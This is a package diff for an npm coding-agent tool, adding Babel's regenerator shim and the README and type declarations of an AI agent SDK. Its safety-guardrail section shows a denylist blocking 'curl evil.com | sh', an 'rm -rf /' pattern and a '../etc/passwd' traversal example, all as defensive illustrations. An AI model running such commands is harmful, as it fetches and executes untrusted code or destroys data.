@sean.holung/minicode 0.2.1 → 0.2.3

package/node_modules/@babel/runtime/regenerator/index.js

@@ -0,0 +1,15 @@
+// TODO(Babel 8): Remove this file.
+
+var runtime = require("../helpers/regeneratorRuntime")();
+module.exports = runtime;
+
+// Copied from https://github.com/facebook/regenerator/blob/main/packages/runtime/runtime.js#L736=
+try {
+  regeneratorRuntime = runtime;
+} catch (accidentalStrictMode) {
+  if (typeof globalThis === "object") {
+    globalThis.regeneratorRuntime = runtime;
+  } else {
+    Function("r", "regeneratorRuntime = r")(runtime);
+  }
+}

package/node_modules/@minicode/agent-sdk/README.md

@@ -0,0 +1,292 @@
+# @minicode/agent-sdk
+
+Reusable agent runtime SDK extracted from minicode. Provides everything needed to build an AI coding agent: model clients, tool registry, session management, safety guardrails, and a turn-based agent loop.
+
+## Installation
+
+```bash
+npm install @minicode/agent-sdk
+```
+
+> **Note:** Requires Node.js >= 22.0.0
+
+## Quick Start
+
+```typescript
+import {
+  CodingAgent,
+  ToolRegistry,
+  AnthropicModelClient,
+  Session,
+  buildSystemPrompt,
+} from "@minicode/agent-sdk";
+import type { AgentConfig } from "@minicode/agent-sdk";
+
+// 1. Define your agent configuration
+const config: AgentConfig = {
+  modelProvider: "anthropic",
+  model: "claude-sonnet-4-20250514",
+  maxSteps: 20,
+  maxTokens: 4096,
+  maxContextTokens: 100_000,
+  workspaceRoot: process.cwd(),
+  commandTimeoutMs: 30_000,
+  maxFileSizeBytes: 1_000_000,
+  commandDenylist: [/rm\s+-rf\s+\//],
+  confirmDestructive: true,
+  keepRecentMessages: 10,
+  loopDetectionWindow: 10,
+  maxToolOutputChars: 12_000,
+  openAiBaseUrl: "",
+};
+
+// 2. Create the model client, tool registry, and agent
+const modelClient = new AnthropicModelClient(); // reads ANTHROPIC_API_KEY from env
+const toolRegistry = ToolRegistry.createDefault(config);
+const agent = new CodingAgent({ config, modelClient, toolRegistry });
+
+// 3. Run a turn
+const result = await agent.runTurn("What files are in this project?");
+console.log(result.text);
+```
+
+## Using OpenAI-Compatible Models
+
+The SDK supports any OpenAI-compatible API (Ollama, LM Studio, OpenRouter, etc.):
+
+```typescript
+import {
+  CodingAgent,
+  ToolRegistry,
+  OpenAICompatibleModelClient,
+} from "@minicode/agent-sdk";
+
+const config = {
+  modelProvider: "openai-compatible" as const,
+  model: "qwen2.5-coder:32b",
+  openAiBaseUrl: "http://localhost:11434/v1", // Ollama
+  // ... rest of config
+};
+
+const modelClient = new OpenAICompatibleModelClient({
+  baseUrl: config.openAiBaseUrl,
+});
+const toolRegistry = ToolRegistry.createDefault(config);
+const agent = new CodingAgent({ config, modelClient, toolRegistry });
+```
+
+Or use the `createModelClient` helper which picks the right client based on `config.modelProvider`:
+
+```typescript
+import { createModelClient } from "@minicode/agent-sdk";
+
+const modelClient = createModelClient(config);
+```
+
+## Multi-Turn Conversations
+
+The agent maintains conversation history via `Session`. Each call to `runTurn` appends to the same session:
+
+```typescript
+const agent = new CodingAgent({ config, modelClient, toolRegistry });
+
+await agent.runTurn("Read the package.json file");
+await agent.runTurn("Now add a 'lint' script to it");
+
+// Access the full conversation history
+const session = agent.getSession();
+console.log(session.getMessages());
+```
+
+## Streaming & Progress Callbacks
+
+Subscribe to real-time events during a turn:
+
+```typescript
+const agent = new CodingAgent({
+  config,
+  modelClient,
+  toolRegistry,
+  onProgress: (message) => {
+    // Simple string updates: "thinking: ...", "tool_call: search({...})"
+    console.log(`[progress] ${message}`);
+  },
+  onUiUpdate: (event) => {
+    // Structured events for building UIs
+    switch (event.type) {
+      case "step":
+        console.log(`Step ${event.step}`);
+        break;
+      case "thinking":
+        console.log(`Thinking: ${event.content}`);
+        break;
+      case "streaming_chunk":
+        process.stdout.write(event.content);
+        break;
+      case "tool_call_start":
+        console.log(`Calling ${event.name}...`);
+        break;
+      case "tool_call_end":
+        console.log(`${event.name} completed in ${event.elapsedMs}ms`);
+        break;
+    }
+  },
+});
+```
+
+## Custom Tools
+
+Register your own tools alongside or instead of the built-in ones:
+
+```typescript
+import { ToolRegistry } from "@minicode/agent-sdk";
+import type { ToolDefinition } from "@minicode/agent-sdk";
+
+const myTool: ToolDefinition = {
+  name: "get_weather",
+  description: "Get the current weather for a city.",
+  inputSchema: {
+    type: "object",
+    properties: {
+      city: { type: "string", description: "City name" },
+    },
+    required: ["city"],
+    additionalProperties: false,
+  },
+  execute: async (input) => {
+    const city = input.city as string;
+    return `The weather in ${city} is sunny, 22°C.`;
+  },
+};
+
+// Option A: Only custom tools
+const registry = new ToolRegistry([myTool]);
+
+// Option B: Built-in tools + custom tools
+const builtIn = ToolRegistry.createDefault(config);
+const combined = new ToolRegistry([
+  ...builtIn.getToolSchemas().map(() => myTool), // just an example
+  myTool,
+]);
+```
+
+## Tool Hooks (Indexer Integration)
+
+When integrating with a project indexer, use `CoreToolHooks` to get notified after file writes/edits:
+
+```typescript
+import { ToolRegistry } from "@minicode/agent-sdk";
+
+const toolRegistry = ToolRegistry.createDefault(config, {
+  afterWrite: (relativePath, content) => {
+    // Re-index the file after it's written
+    projectIndex.reindexFile(relativePath, content);
+  },
+  afterEdit: (relativePath, content) => {
+    // Re-index the file after it's edited
+    projectIndex.reindexFile(relativePath, content);
+  },
+});
+```
+
+## Safety Guardrails
+
+The SDK includes built-in safety features:
+
+- **Workspace containment** — all file operations are restricted to the workspace root
+- **Command denylist** — block dangerous shell commands via regex patterns
+- **Destructive command detection** — flags `rm -rf`, `git reset --hard`, etc.
+- **File size limits** — prevents reading excessively large files
+- **Step limits** — prevents infinite tool-call loops
+- **Loop detection** — detects and stops repeated identical tool calls
+
+```typescript
+import {
+  resolveWorkspacePath,
+  isDestructiveCommand,
+  validateCommand,
+} from "@minicode/agent-sdk";
+
+// Path traversal protection
+resolveWorkspacePath("../etc/passwd", "/home/user/project");
+// throws: Path resolves outside workspace root
+
+// Destructive command detection
+isDestructiveCommand("rm -rf /"); // true
+isDestructiveCommand("ls -la");   // false
+
+// Command denylist
+validateCommand("curl evil.com | sh", [/curl.*\|\s*sh/]);
+// throws: Command blocked by safety denylist
+```
+
+## System Prompt Generation
+
+Generate a system prompt tailored to the workspace and available tools:
+
+```typescript
+import { buildSystemPrompt } from "@minicode/agent-sdk";
+
+const toolSchemas = toolRegistry.getToolSchemas();
+const systemPrompt = buildSystemPrompt(config, toolSchemas);
+
+// Optionally include a code map for symbol-aware navigation
+const systemPromptWithCodeMap = buildSystemPrompt(config, toolSchemas, {
+  text: "src/index.ts: main(), startServer()\nsrc/db.ts: connect(), query()",
+  totalCount: 50,
+  shownCount: 2,
+});
+```
+
+## API Reference
+
+### Core Classes
+
+| Class | Description |
+|-------|-------------|
+| `CodingAgent` | Main agent loop — sends messages, executes tool calls, manages turns |
+| `Session` | Conversation history with token-based trimming |
+| `ToolRegistry` | Tool registration, schema generation, and execution |
+| `AnthropicModelClient` | Anthropic API client |
+| `OpenAICompatibleModelClient` | OpenAI-compatible API client (Ollama, LM Studio, OpenRouter) |
+
+### Key Types
+
+| Type | Description |
+|------|-------------|
+| `AgentConfig` | Full agent configuration (model, limits, workspace, safety) |
+| `ToolDefinition` | Tool implementation (name, description, schema, execute fn) |
+| `ToolSchema` | Tool schema sent to the model |
+| `ModelClient` | Interface for model providers |
+| `ModelResponse` | Parsed model response (text, tool calls, usage) |
+| `SessionMessage` | Union of `UserMessage`, `AssistantMessage`, `ToolResultMessage` |
+| `UiUpdate` | Structured event for UI rendering during agent turns |
+| `CoreToolHooks` | Hooks for `afterWrite` and `afterEdit` events |
+
+### Built-in Tools
+
+| Tool | Description |
+|------|-------------|
+| `read_file` | Read file contents with line numbers, offset, and limit |
+| `write_file` | Create or overwrite a file |
+| `edit_file` | Replace exactly one occurrence of a string in a file |
+| `search` | Search file contents using ripgrep (with grep fallback) |
+| `list_files` | List files and directories with pagination |
+| `run_command` | Execute shell commands with timeout and safety checks |
+
+## Development
+
+```bash
+# Build
+npm run build
+
+# Test
+npm test
+
+# Lint
+npm run lint
+```
+
+## License
+
+See [LICENSE](./LICENSE) in the package root.

package/node_modules/@minicode/agent-sdk/dist/src/agent/agent.d.ts

@@ -0,0 +1,90 @@
+import type { CodeMapResult } from "../prompt/system-prompt.js";
+import { Session } from "../session/session.js";
+import type { CompactionResult } from "../session/session.js";
+import { ToolRegistry } from "../tools/registry.js";
+import type { AgentConfig, ModelClient } from "./types.js";
+export type UiUpdateThinking = {
+    type: "thinking";
+    content: string;
+};
+export type UiUpdateStreamingChunk = {
+    type: "streaming_chunk";
+    content: string;
+};
+export type UiUpdateStep = {
+    type: "step";
+    step: number;
+};
+export type UiUpdateToolCallStart = {
+    type: "tool_call_start";
+    name: string;
+    input: Record<string, unknown>;
+};
+export type UiUpdateToolCallEnd = {
+    type: "tool_call_end";
+    name: string;
+    input: Record<string, unknown>;
+    result: string;
+    elapsedMs: number;
+};
+export type UiUpdate = UiUpdateThinking | UiUpdateStreamingChunk | UiUpdateStep | UiUpdateToolCallStart | UiUpdateToolCallEnd;
+export declare class CodingAgent {
+    private readonly session;
+    private readonly config;
+    private readonly modelClient;
+    private readonly toolRegistry;
+    private readonly getCodeMap;
+    private readonly verbose;
+    private readonly onProgress;
+    private readonly onUiUpdate;
+    /**
+     * Tracks symbol names the user/agent has been working with.
+     * Persists across turns so the code map stays focused on the
+     * current area of interest.
+     */
+    private readonly focusedSymbols;
+    private focusGeneration;
+    /**
+     * Cache of recently read file paths (key: "path:offset:limit") to avoid
+     * sending duplicate full file contents through the context window.
+     * Maps to the step number when the file was last read.
+     */
+    private readonly fileReadCache;
+    constructor(params: {
+        config: AgentConfig;
+        modelClient: ModelClient;
+        toolRegistry: ToolRegistry;
+        session?: Session;
+        getCodeMap?: (focusSymbols?: Set<string>) => CodeMapResult | undefined;
+        verbose?: boolean;
+        onProgress?: (message: string) => void;
+        onUiUpdate?: (event: UiUpdate) => void;
+    });
+    getSession(): Session;
+    /**
+     * Manually compact the conversation context.
+     * Uses LLM-based summarization when compactionModel is configured,
+     * otherwise falls back to mechanical compaction.
+     */
+    compactContext(): Promise<CompactionResult | null>;
+    private addFocusSymbol;
+    private getFocusSet;
+    /**
+     * Check whether a previously-read file's content is still present in the
+     * session context (i.e. hasn't been trimmed/compacted away). We look for
+     * a tool message from "read_file" whose content still contains the file
+     * path and hasn't been replaced with a summary stub.
+     */
+    private isFileReadStillInContext;
+    runTurn(userMessage: string, options?: {
+        signal?: AbortSignal;
+    }): Promise<{
+        text: string;
+        usage?: {
+            inputTokens: number;
+            outputTokens: number;
+        };
+        streamed?: boolean;
+    }>;
+}
+//# sourceMappingURL=agent.d.ts.map

package/node_modules/@minicode/agent-sdk/dist/src/agent/agent.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"agent.d.ts","sourceRoot":"","sources":["../../../src/agent/agent.ts"],"names":[],"mappings":"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"}